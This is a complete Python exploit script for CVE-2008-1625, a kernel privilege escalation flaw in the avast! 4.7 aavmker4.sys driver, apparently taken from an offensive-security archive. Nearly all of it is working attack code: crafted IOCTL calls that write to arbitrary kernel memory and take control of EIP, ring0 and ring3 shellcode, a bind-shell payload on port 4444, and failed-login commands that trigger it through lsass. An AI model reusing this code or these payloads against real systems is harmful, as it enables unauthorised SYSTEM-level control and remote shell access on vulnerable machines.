#!/usr/bin/python
# avast! 4.7 aavmker4.sys privilege escalation
# http://www.trapkit.de/advisories/TKADV2008-002.txt
# CVE-2008-1625
# Tested on WindXpSp2/Sp3 Dep ON
# Matteo Memelli ryujin __A-T__ offensive-security.com
# www.offensive-security.com
# Spaghetti & Pwnsauce - 17/04/2010
# Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0
from ctypes import *
import time, struct, sys, thread, os
kernel32 = windll.kernel32
Psapi = windll.Psapi
def findSysBase(drv):
print "(+) Retrieving %s base address..." % drv
ARRAY_SIZE = 1024
myarray = c_ulong * ARRAY_SIZE
lpImageBase = myarray()
cb = c_int(1024)
lpcbNeeded = c_long()
drivername_size = c_long()
drivername_size.value = 48
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
for baseaddy in lpImageBase:
drivername = c_char_p("\x00"*drivername_size.value)
if baseaddy:
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
drivername_size.value)
if drivername.value.lower() == drv:
print "(+) Address retrieved: %s" % hex(baseaddy)
return baseaddy
return None
def checkShell():
check = "netstat -an | find \"4444\""
res = os.popen(check)
ret = res.read()
res.close()
if ret.find("0.0.0.0:4444") != -1:
return True
else:
return False
def kickLsass():
time.sleep(10)
lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"
lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"
nc = "nc 127.0.0.1 4444"
print "(!) NO BSOD? good sign :)"
print "(*) Sleeping 60 secs before the Woshi finger hold..."
time.sleep(60)
# Trying to kick ls-ass, any auth good or failed should help
# if this doesn't work for you try to rdp to the vuln box or
# logout/login from console... it's rough but should work ;)
print "(+) Trying to fail an auth to trigger syscall..."
os.system(lsas1)
time.sleep(1)
os.system(lsas2)
while 1:
res = checkShell()
if res:
print "($) Shell is ready 0.0.0.0:4444"
#os.system(nc)
#print "(-) netcat not in path but shell is open!"
break
print "(*) Retrying. Sleeping 30 secs..."
time.sleep(30)
print "(+) Trying to fail an auth to trigger syscall..."
os.system(lsas1)
time.sleep(1)
os.system(lsas2)
def pwnDrv(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output,
out_size, dwReturn1):
# We trigger func pointer to control EIP
time.sleep(5)
print "(+) Owning EIP..."
for i in range(1,3):
print "(+) Triggering function pointer: %d/2" % i
dev_ioctl = kernel32.DeviceIoControl(driver_handle2, IOCTL_EIP, stor_input,
stor_size, stor_output, out_size,
byref(dwReturn1), None)
time.sleep(0.5)
if __name__ == '__main__':
print "(*) avast! 4.7 aavmker4.sys privilege escalation"
print "(+) coded by Matteo Memelli aka ryujin -> at <- offsec.com"
print "(+) www.offsec.com || Spaghetti & Pwnsauce"
print "(+) tested on WinXPSP2/SP3 DEP On 17/04/2010"
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
CREATE_ALWAYS = 0x2
IOCTL_STOR = 0xb2d6001c # stores stuff to bypass checks in .data
IOCTL_VULN = 0xb2d60030 # writes to arbitrary memory
IOCTL_EIP = 0xb2d60020 # triggers function pointer to own EIP
# DosDevices\AAVMKER4 Device\AavmKer4
DEVICE_NAME = "\\\\.\\AavmKer4"
dwReturn1 = c_ulong()
dwReturn2 = c_ulong()
evil_size = 0x878
out_size = 0x1024
stor_size = 0x418
evil_output = ""
stor_output = ""
driver_name = 'aavmker4.sys'
# evil_input = 0x878
# Payload = 496 bytes
# ring0_migrate = 45 bytes || # \xf0\x01 bytes to copy
ring0_migrate = (
"\xfc\xfa\xeb\x24\x5e\x68\x76\x01\x00\x00\x59\x0f\x32\x89\x86\x69"
"\x00\x00\x00\x8b\xbe\x6d\x00\x00\x00\x89\xf8\x0f\x30\xb9\xf0\x01"
"\x00\x00\xf3\xa4\xfb\xf4\xeb\xfd\xe8\xd7\xff\xff\xff" )
# ring0_msr = 117 bytes
ring0_msr = (
"\x6a\x00\x9c\x60\xe8\x00\x00\x00\x00\x58\x8b\x98\x60\x00\x00\x00"
"\x89\x5c\x24\x24\x81\xf9\xde\xc0\xad\xde\x75\x10\x68\x76\x01\x00"
"\x00\x59\x89\xd8\x31\xd2\x0f\x30\x31\xc0\xeb\x3a\x8b\x32\x0f\xb6"
"\x1e\x66\x81\xfb\xc3\x00\x75\x2e\x8b\x98\x68\x00\x00\x00\x8d\x9b"
"\x75\x00\x00\x00\x89\x1a\xb8\x01\x00\x00\x80\x0f\xa2\x81\xe2\x00"
"\x00\x10\x00\x74\x11\xba\x00\xff\x3f\xc0\x81\xc2\x04\x00\x00\x00"
"\x81\x22\xff\xff\xff\x7f\x61\x9d\xc3\xff\xff\xff\xff\x00\x04\xdf"
"\xff\x00\x04\xfe\x7f" )
# ring3_stager = 61 bytes
ring3_stager = (
"\x60\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x2e\x8b\x43\x10"
"\x8b\x40\x3c\x83\xc0\x28\x8b\x08\x03\x48\x03\x81\xf9\x6c\x61\x73"
"\x73\x75\x18\xe8\x0a\x00\x00\x00\xe8\x10\x00\x00\x00\xe9\x09\x00"
"\x00\x00\xb9\xde\xc0\xad\xde\x89\xe2\x0f\x34\x61\xc3" )
# msf payload: bindshell port 4444 318 bytes
ring3_shellcode = (
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0\xc3" )
sysbase = findSysBase(driver_name)
if not sysbase:
print "(-) Couldn't retrieve driver base address, exiting..."
sys.exit()
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
driver_handle2 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
# .data memory area we write to; offset from base = 0x2e04
read_data_from= struct.pack('L', sysbase+0x2e04) # calculate addy in .data
# r0_address = noplsed address, jump 0xfa bytes ahead to avoid a corrupted nop
r0_address = struct.pack('L', sysbase+0x23fa)
evil_input = r0_address*2 + "\x90"*0x102
evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode
evil_input += "\x41"*0x549
evil_input += read_data_from + "\x42\x42\x42\x42" # bypass input checks
stor_input = "\x43\x43\x43\x43" # padding
stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h
stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh
stor_input += "\x44\x44\x44\x44"*2
# After arbitrary write to memory nt!KeSetEvent is called: we need to fix
# nt!KeSetEvent+0x32 using any addy pointing to value different to 0x01
# so we can use our "read_data_from" again.
stor_input += read_data_from
stor_input += "\x44\x44\x44\x44"
# 0x2300 offset from base: we write here to control a function pointer
# and own EIP
stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414
# trigger these later on...
thread.start_new(pwnDrv, (driver_handle2, IOCTL_EIP, stor_input, stor_size,
stor_output, out_size, dwReturn1))
thread.start_new(kickLsass, ())
###########################################################################
# And now let's own the boy:
if driver_handle1:
# We store values to overcome input checks
print "(+) Storing our precious in kernel space ;) ..."
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_STOR, stor_input,
stor_size, stor_output, out_size,
byref(dwReturn1), None)
# We trigger arbitrary write
print "(*) Sending evil IOCTL..."
print "(+) Pwnage in progress...."
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_VULN,
evil_input, evil_size, evil_output,
evil_size,
byref(dwReturn2), None)
